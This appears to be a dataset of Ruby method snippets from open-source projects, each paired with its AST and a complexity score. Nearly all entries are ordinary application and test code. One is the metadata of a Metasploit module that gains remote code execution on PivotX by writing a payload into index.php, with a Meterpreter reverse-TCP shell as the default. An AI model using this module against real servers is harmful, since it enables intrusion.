{"repo_name":"puma","file_path":"./repos/puma/lib/puma/cluster/worker.rb","start_line":160,"raw_source":"def spawn_worker(idx)\n        @config.run_hooks(:before_worker_fork, idx, @log_writer, @hook_data)\n\n        pid = fork do\n          new_worker = Worker.new index: idx,\n                                  master: master,\n                                  launcher: @launcher,\n                                  pipes: { check_pipe: @check_pipe,\n                                           worker_write: @worker_write },\n                                  server: @server\n          new_worker.run\n        end\n\n        if !pid\n          log \"! Complete inability to spawn new workers detected\"\n          log \"! Seppuku is the only choice.\"\n          exit! 1\n        end\n\n        @config.run_hooks(:after_worker_fork, idx, @log_writer, @hook_data)\n        pid\n      end","complexity_score":15.95,"ast_json":"{\"type\":\"def\",\"children\":[\"spawn_worker\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"idx\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"run_hooks\",{\"type\":\"sym\",\"children\":[\"before_worker_fork\"]},{\"type\":\"lvar\",\"children\":[\"idx\"]},{\"type\":\"ivar\",\"children\":[\"@log_writer\"]},{\"type\":\"ivar\",\"children\":[\"@hook_data\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pid\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fork\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_worker\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Worker\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"lvar\",\"children\":[\"idx\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"master\"]},{\"type\":\"send\",\"children\":[null,\"master\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"launcher\"]},{\"type\":\"ivar\",\"children\":[\"@launcher\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pipes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"check_pipe\"]},{\"type\":\"ivar\",\"children\":[\"@check_pipe\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"worker_write\"]},{\"type\":\"ivar\",\"children\":[\"@worker_write\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"server\"]},{\"type\":\"ivar\",\"children\":[\"@server\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_worker\"]},\"run\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pid\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"str\",\"children\":[\"! Complete inability to spawn new workers detected\"]}]},{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"str\",\"children\":[\"! Seppuku is the only choice.\"]}]},{\"type\":\"send\",\"children\":[null,\"exit!\",{\"type\":\"int\",\"children\":[1]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"run_hooks\",{\"type\":\"sym\",\"children\":[\"after_worker_fork\"]},{\"type\":\"lvar\",\"children\":[\"idx\"]},{\"type\":\"ivar\",\"children\":[\"@log_writer\"]},{\"type\":\"ivar\",\"children\":[\"@hook_data\"]}]},{\"type\":\"lvar\",\"children\":[\"pid\"]}]}]}","id":"20c4f1ca-e044-4534-9093-760f79bfb3db"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/activitypub/process_account_service.rb","start_line":100,"raw_source":"def set_immediate_protocol_attributes!\n    @account.inbox_url               = valid_collection_uri(@json['inbox'])\n    @account.outbox_url              = valid_collection_uri(@json['outbox'])\n    @account.shared_inbox_url        = valid_collection_uri(@json['endpoints'].is_a?(Hash) ? @json['endpoints']['sharedInbox'] : @json['sharedInbox'])\n    @account.followers_url           = valid_collection_uri(@json['followers'])\n    @account.following_url           = valid_collection_uri(@json['following'])\n    @account.url                     = url || @uri\n    @account.uri                     = @uri\n    @account.actor_type              = actor_type\n    @account.created_at              = @json['published'] if @json['published'].present?\n  end","complexity_score":34.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_immediate_protocol_attributes!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"inbox_url=\",{\"type\":\"send\",\"children\":[null,\"valid_collection_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"inbox\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"outbox_url=\",{\"type\":\"send\",\"children\":[null,\"valid_collection_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"outbox\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"shared_inbox_url=\",{\"type\":\"send\",\"children\":[null,\"valid_collection_uri\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"endpoints\"]}]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"endpoints\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"sharedInbox\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"sharedInbox\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"followers_url=\",{\"type\":\"send\",\"children\":[null,\"valid_collection_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"followers\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"following_url=\",{\"type\":\"send\",\"children\":[null,\"valid_collection_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"following\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"url=\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url\"]},{\"type\":\"ivar\",\"children\":[\"@uri\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"uri=\",{\"type\":\"ivar\",\"children\":[\"@uri\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"actor_type=\",{\"type\":\"send\",\"children\":[null,\"actor_type\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"published\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"created_at=\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"published\"]}]}]},null]}]}]}","id":"4922a5d1-cc41-445d-af7e-6e6d93004369"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issuable_links/create_service.rb","start_line":77,"raw_source":"def link_issuables(target_issuables)\n      target_issuables.map do |referenced_object|\n        link = relate_issuables(referenced_object)\n\n        if link.errors.any?\n          @errors << (_(\"%{ref} cannot be added: %{error}\") % {\n            ref: referenced_object.to_reference,\n            error: link.errors.messages.values.flatten.to_sentence\n          })\n        else\n          after_create_for(link)\n        end\n\n        link\n      end\n    end","complexity_score":26.2,"ast_json":"{\"type\":\"def\",\"children\":[\"link_issuables\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target_issuables\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_issuables\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"referenced_object\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"link\",{\"type\":\"send\",\"children\":[null,\"relate_issuables\",{\"type\":\"lvar\",\"children\":[\"referenced_object\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link\"]},\"errors\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@errors\"]},\"<<\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"%{ref} cannot be added: %{error}\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"referenced_object\"]},\"to_reference\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link\"]},\"errors\"]},\"messages\"]},\"values\"]},\"flatten\"]},\"to_sentence\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"after_create_for\",{\"type\":\"lvar\",\"children\":[\"link\"]}]}]},{\"type\":\"lvar\",\"children\":[\"link\"]}]}]}]}","id":"498148de-dd3c-4a40-ac6f-513e2c5f2b5f"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/base_check.rb","start_line":121,"raw_source":"def process_dstr exp\n    unless array_interp? exp or @string_interp # don't overwrite existing value\n      @string_interp = Match.new(:interp, exp)\n    end\n\n    process_default exp\n  end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"process_dstr\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"array_interp?\",{\"type\":\"lvar\",\"children\":[\"exp\"]}]},{\"type\":\"ivar\",\"children\":[\"@string_interp\"]}]},null,{\"type\":\"ivasgn\",\"children\":[\"@string_interp\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Match\"]},\"new\",{\"type\":\"sym\",\"children\":[\"interp\"]},{\"type\":\"lvar\",\"children\":[\"exp\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"process_default\",{\"type\":\"lvar\",\"children\":[\"exp\"]}]}]}]}","id":"7fef84c5-fcc8-45ae-a976-1ebf2029055d"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/testing/time_helpers.rb","start_line":261,"raw_source":"def freeze_time(date_or_time = Time.now, with_usec: false, &block)\n        travel_to date_or_time, with_usec: with_usec, &block\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"freeze_time\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"date_or_time\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"with_usec\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[null,\"travel_to\",{\"type\":\"lvar\",\"children\":[\"date_or_time\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with_usec\"]},{\"type\":\"lvar\",\"children\":[\"with_usec\"]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"755d0f91-2e8e-44a8-a76c-76f4f61d2c79"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/template_error_test.rb","start_line":38,"raw_source":"def test_annotated_source_code_returns_empty_array_if_source_cant_be_found\n    template = Class.new do\n      def identifier\n        \"something\"\n      end\n    end.new\n\n    error = begin\n      raise\n    rescue\n      raise ActionView::Template::Error.new(template) rescue $!\n    end\n\n    assert_equal [], error.annotated_source_code\n  end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_annotated_source_code_returns_empty_array_if_source_cant_be_found\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"def\",\"children\":[\"identifier\",{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"something\"]}]}]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raise\"]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Template\"]},\"Error\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"template\"]}]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"gvar\",\"children\":[\"$!\"]}]},null]}]},null]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"annotated_source_code\"]}]}]}]}","id":"c40c6022-ca79-4bb7-9040-454020ba84a0"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/multiline_expression_indentation.rb","start_line":14,"raw_source":"def on_send(node)\n        return if !node.receiver || node.method?(:[])\n        return unless relevant_node?(node)\n\n        lhs = left_hand_side(node.receiver)\n        rhs = right_hand_side(node)\n        return unless rhs\n\n        range = offending_range(node, lhs, rhs, style)\n        check(range, node, lhs, rhs)\n      end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"receiver\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"method?\",{\"type\":\"sym\",\"children\":[\"[]\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"relevant_node?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"lhs\",{\"type\":\"send\",\"children\":[null,\"left_hand_side\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"receiver\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rhs\",{\"type\":\"send\",\"children\":[null,\"right_hand_side\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rhs\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"send\",\"children\":[null,\"offending_range\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"lhs\"]},{\"type\":\"lvar\",\"children\":[\"rhs\"]},{\"type\":\"send\",\"children\":[null,\"style\"]}]}]},{\"type\":\"send\",\"children\":[null,\"check\",{\"type\":\"lvar\",\"children\":[\"range\"]},{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"lhs\"]},{\"type\":\"lvar\",\"children\":[\"rhs\"]}]}]}]}","id":"62f9ebde-fc71-431e-a6c1-ffb48dded741"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/test_helper_test.rb","start_line":1933,"raw_source":"def test_assert_performed_with_with_hash_arg\n      assert_performed_with(job: MultipleKwargsJob, args: [{ argument1: 1, argument2: { a: 1, b: 2 } }]) do\n        MultipleKwargsJob.perform_later(argument2: { b: 2, a: 1 }, argument1: 1)\n      end\n    end","complexity_score":4.98,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_performed_with_with_hash_arg\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_performed_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job\"]},{\"type\":\"const\",\"children\":[null,\"MultipleKwargsJob\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"argument1\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"argument2\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"b\"]},{\"type\":\"int\",\"children\":[2]}]}]}]}]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MultipleKwargsJob\"]},\"perform_later\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"argument2\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"b\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"argument1\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}","id":"e66b18a8-792e-4bd2-9460-8f472e04b22f"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/require_profiler.rb","start_line":36,"raw_source":"def require_with_profiling(path, *args)\n            RequireProfiler.measure(path, caller, :require) do\n              require_without_profiling(path, *args)\n            end\n          end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"require_with_profiling\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RequireProfiler\"]},\"measure\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[null,\"caller\"]},{\"type\":\"sym\",\"children\":[\"require\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"require_without_profiling\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]}","id":"e9b5b187-1915-4a6f-bf68-f31915ab1fec"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/pivotx_index_php_overwrite.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'PivotX Remote Code Execution',\n        'Description' => %q{\n          This module gains remote code execution in PivotX management system. The PivotX allows admin user to directly edit files on the webserver, including PHP files. The module exploits this by writing a malicious payload into `index.php` file, gaining remote code execution.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'HayToN', # security research\n          'msutovsky-r7' # module dev\n        ],\n        'References' => [\n          [ 'EDB', '52361' ],\n          [ 'URL', 'https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3'],\n          [ 'CVE', '2025-52367']\n        ],\n        'Targets' => [\n          [\n            'Linux',\n            {\n              'Platform' => 'php',\n              'Arch' => ARCH_PHP\n            }\n          ]\n        ],\n        'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },\n        'DisclosureDate' => '2025-07-10',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]\n        }\n      )\n    )\n    register_options([\n      OptString.new('USERNAME', [ true, 'PivotX username', '' ]),\n      OptString.new('PASSWORD', [true, 'PivotX password', '']),\n      OptString.new('TARGETURI', [true, 'The base path to PivotX', '/PivotX/'])\n    ])\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"PivotX Remote Code Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module gains remote code execution in PivotX management system. The PivotX allows admin user to directly edit files on the webserver, including PHP files. The module exploits this by writing a malicious payload into `index.php` file, gaining remote code execution.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"HayToN\"]},{\"type\":\"str\",\"children\":[\"msutovsky-r7\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"52361\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2025-52367\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"php\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"php/meterpreter/reverse_tcp\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2025-07-10\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]},{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"PivotX username\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"PivotX password\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The base path to PivotX\"]},{\"type\":\"str\",\"children\":[\"/PivotX/\"]}]}]}]}]}]}]}","id":"bf30d706-8a63-4263-ac5b-fc7bf01640e7"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/database/schema/global_config.rb","start_line":18,"raw_source":"def modified_name(column_name)\n      if (modified_column = find_modified_column(column_name))\n        modified_column[:rename_to]\n      end\n    end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"modified_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"modified_column\",{\"type\":\"send\",\"children\":[null,\"find_modified_column\",{\"type\":\"lvar\",\"children\":[\"column_name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"modified_column\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"rename_to\"]}]},null]}]}","id":"2270a3b3-7fd6-47b8-98b5-af239e370f03"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/topic_list_header.rb","start_line":51,"raw_source":"def click_dismiss_read_confirm\n        find(\"#dismiss-read-confirm\").click\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"click_dismiss_read_confirm\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\"#dismiss-read-confirm\"]}]},\"click\"]}]}","id":"753ba8de-8fcd-4e71-ad27-aa0f4d03e50d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/container_registry/tag.rb","start_line":28,"raw_source":"def short_revision\n      return unless revision\n\n      revision[0..8]\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"short_revision\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"revision\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"revision\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[8]}]}]}]}]}","id":"398904b3-7763-4f72-9a6f-384518ecb661"}
